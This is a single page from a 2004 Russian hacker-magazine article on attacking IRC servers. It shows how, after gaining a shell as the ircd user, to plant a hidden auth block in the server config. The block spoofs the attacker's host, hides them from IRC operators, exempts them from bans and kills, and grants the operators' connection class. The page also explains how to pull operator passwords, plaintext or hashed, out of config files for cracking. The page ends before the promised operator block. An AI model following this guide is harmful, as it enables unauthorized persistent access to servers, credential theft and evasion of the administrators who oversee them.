Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #67, ИЮЛЬ 2004 г.

Атаки и взлом IRC-сетей

KZer-Za

Xakep, номер #067, стр. 067-046-3


Впишись в историю

Что можно сделать, получив шелл с правами юзера, под которым крутится ircd? Предел мечтаний: ламерюга-сисадмин запустил процесс ircd с привилегиями пользователя root. Что это такое, думаю объяснять не стоит :). Но мечты есть мечты. Обычно ircd запускается с ограниченными правами пользователя irc: ircd, либо еще какого-нибудь, nobody, к примеру. Традиционной бывает ситуация, когда с соизволения системного администратора ircd размещается в домашней директории пользователя, в которой кроме файлов, необходимых для работы ircd, лежат всевозможнейшие ftp, веб-странички и прочее. Основательно покопавшись в домашнем "чемодане" пользовательского аккаунта, можно отыскать массу полезного и бесполезного для себя, но цель нашей атаки не в этом. Получив доступ к процессу с привилегиями ircd, прежде всего, детально исследуем конфигурационные файлы ircd. В большинстве случаев это обычные текстовые файлы, в которых содержатся суперполезные данные - в частности, секции, описывающие правила аутентификации и задающие информацию об иркопах и пароли для линковки к другим серверам. Вот пример блока аутентификации hybrid-подобных ircd:

Секция аутентификации ircd

auth {

user = "xyz@*.my.domain.tld";

/* твой спуф */

spoof = "hidden.org";

/* чтобы иркопы не видели бесчинств */

spoof_notice = no;

/* а это позволит избежать неприятностей с kill, gline и прочим */

exceed_limit = yes;

kline_exempt = yes;

gline_exempt = yes;

no_tilde = yes;

class = "opers";

password = "mypzzwd12332894";

};

Почему бы не скрыть свой собственный IP, используя замечательное средство spoof ircd hybrid, а заодно получить исключения из лимитов и класс иркопа? Свой блок auth следует размещать перед блоками auth IRC-операторов, поскольку ircd при парсинге конфигов использует правило "от частного к общему". Теперь, после того, как ты присоединишься к серверу от хоста my.domain.tld и посмотришь, во что ты превратился, ты увидишь следующее:

/whois nick

-!- Me [xyz@hidden.org]

-!- ircname : Some irc name

-!- server : irc.domain.tld [Mega IRC Server]

-!- End of WHOIS

Если для атаки был выбран IRC-сервер, на котором иркопы появляются раз в полгода, тебе обеспечен чуть ли не пожизненный спуф и очень приятные лимиты, поскольку класс соединения opers имеет довольно внушительные цифры sendq (ограничение на объем передаваемой информации). Чтобы все, кто будет заходить с твоего my.domain.tld (к примеру, dialup00xx.isp.provider.com), не получали элитный спуф "hidden.org", доступ к блоку auth ограничен паролем. Теперь, имея почти неограниченный доступ к процессу ircd и его конфигурационным файлам, можно сделать себя IRC-оператором.

Горе тому иркопу, который собрал свой ircd, не криптуя паролей! Его megapazzw3rdz хранится как обычный текст, и ты можешь запросто узнать этот пароль! Но такая халява встречается крайне редко, обычно опция криптования включена по умолчанию при сборке ircd. И как правило, приходится иметь дело с паролями, зашифрованными одним из популярных алгоритмов (Unix crypt, MD5 и т.д.). О расшифровке MD5 мы уже не раз писали, кроме того, я бы советовал тебе прочесть статью Форба "Расшифруем зашифрованное". Чтобы тебе было проще вытащить из конфигов информацию об иркопах, я приведу пример соответствующего блока:

Назад на стр. 067-046-2  Содержание  Вперед на стр. 067-046-4